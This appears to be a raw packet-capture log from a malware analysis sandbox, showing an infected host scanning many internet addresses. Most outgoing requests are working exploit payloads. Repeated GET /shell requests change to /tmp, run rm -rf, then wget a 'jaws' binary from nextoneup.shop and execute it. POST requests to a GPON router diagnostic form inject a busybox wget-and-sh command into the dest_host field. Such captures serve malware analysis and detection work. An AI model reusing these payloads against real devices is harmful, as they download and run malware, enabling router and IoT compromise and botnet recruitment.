Apr 14, 2024 04:01:25.452088118 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:25.683967113 CEST	322	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 14 Apr 2024 02:01:25 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1914	192.168.2.13	59736	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.660473108 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:28Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1915	192.168.2.13	34220	188.114.228.73	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.720531940 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:28.078207016 CEST	444	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:01:25 GMT Server: Apache Vary: Accept-Encoding,Cookie Expires: Sun, 14 Apr 2024 03:01:27 GMT Cache-Control: max-age=3600 X-Redirect-By: WordPress Location: http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Apr 14, 2024 04:01:28.094886065 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1916	192.168.2.13	59750	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:25.986205101 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:28Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1917	192.168.2.13	59764	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:26.328974962 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:29Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1918	192.168.2.13	59776	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:26.641827106 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:29Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1919	192.168.2.13	59784	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:26.985878944 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 32 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:29Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1920	192.168.2.13	42708	178.168.38.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.238322020 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1921	192.168.2.13	37994	210.207.108.81	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.238367081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1922	192.168.2.13	59792	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.314059973 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:30Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1923	192.168.2.13	59796	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.641379118 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:30Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1924	192.168.2.13	59820	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:27.969788074 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:30Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1925	192.168.2.13	48322	173.255.248.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.249941111 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1926	192.168.2.13	59826	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.297830105 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:31Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1927	192.168.2.13	55524	18.208.4.165	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.306404114 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:28.541465998 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:28 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1928	192.168.2.13	41256	23.36.251.28	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.387798071 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:28.698265076 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:28 GMT Date: Sun, 14 Apr 2024 02:01:28 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 37 38 39 34 39 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 38 26 23 34 36 3b 36 61 63 38 64 34 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 37 38 39 34 39 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 38 26 23 34 36 3b 36 61 63 38 64 34 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.47894917.1713060088.6ac8d4c<P>https://errors.edgesuite.net/9.47894917.1713060088.6ac8d4c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1929	192.168.2.13	35050	2.22.20.139	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.412587881 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:28.746325016 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Sun, 14 Apr 2024 02:01:28 GMT Date: Sun, 14 Apr 2024 02:01:28 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 36 66 63 31 34 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 38 26 23 34 36 3b 64 37 63 34 37 38 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 33 36 66 63 31 34 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 38 38 26 23 34 36 3b 64 37 63 34 37 38 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.36fc1402.1713060088.d7c478<P>https://errors.edgesuite.net/9.36fc1402.1713060088.d7c478</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1930	192.168.2.13	46174	202.205.109.113	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.429725885 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.520253897 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.664179087 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:50.696177959 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1931	192.168.2.13	54638	182.253.216.253	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.439800024 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1932	192.168.2.13	52786	200.80.131.208	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:28.443027973 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:28.836184025 CEST	1200	IN	HTTP/1.1 307 Proxy Redirect Mime-Version: 1.0 Date: Sat, 13 Apr 2024 23:01:28 -03 Via: 1.1 lmvwsa01.sofse.gob.ar:80 (Cisco-WSA/15.0.0-355) Content-Type: text/html Cache-Control: no-cache Location: http://lmvwsa01.sofse.gob.ar/B0001D0000N0001N0001F0000S0001R0004/81.181.54.60/http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Connection: close Content-Length: 2045 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 4e 6f 74 69 66 69 63 61 63 69 c3 b3 6e 3a 20 72 65 64 69 72 65 63 63 69 6f 6e 61 6d 69 65 6e 74 6f 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 7d 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 32 39 37 30 41 36 3b 0a 7d 0a 61 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 39 37 30 41 36 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 39 37 30 41 36 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 7d 0a 70 2e 62 75 74 74 6f 6e 6c 69 6e 6b 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 34 70 78 3b 0a 7d 0a 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 36 36 36 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 20 35 70 78 20 30 70 78 20 33 30 70 78 3b 0a 7d 0a 2e 63 6f 70 79 72 69 67 68 74 5f 61 6c 6f 6e 65 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 36 36 36 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Notificacin: redireccionamiento</title><style type="text/css">body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; color:#333333; background-color: #ffffff;}h1 { font-size: 18px; font-weight: bold; text-decoration: none; padding-top: 0px; color: #2970A6;}a:link { color: #2970A6; text-decoration: none;}a:hover { color: #2970A6; text-decoration: underline;}p.buttonlink { margin-bottom: 24px;}.copyright { font-size: 12px; color: #666666; margin: 5px 5px 0px 30px;}.copyright_alone { font-size: 12px; color: #666666
Apr 14, 2024 04:01:28.836203098 CEST	1200	IN	Data Raw: 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 33 35 70 78 20 35 70 78 20 30 70 78 20 33 30 70 78 3b 0a 7d 0a 2e 64 65 74 61 69 6c 73 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 36 39 36 39 36 3b 0a 20 Data Ascii: ; margin: 35px 5px 0px 30px;}.details { font-size: 14px; color: #969696; border: none; padding: 20px 20px 20px 20px; margin: 0px 10px 10px 35px;}.shadow { border: 3px solid #9f9f9f; padding: 10px 25px 10px 25px; margin:
Apr 14, 2024 04:01:28.836225033 CEST	91	IN	Data Raw: 6a 61 77 73 22 3e 68 61 67 61 20 63 6c 69 63 20 61 71 75 c3 ad 20 70 61 72 61 20 63 6f 6e 74 69 6e 75 61 72 3c 2f 61 3e 26 6e 62 73 70 3b 2e 0a 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: jaws">haga clic aqu para continuar</a> .</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1933	192.168.2.13	40262	47.49.142.114	80

Timestamp	Bytes transferred	Direction	Data
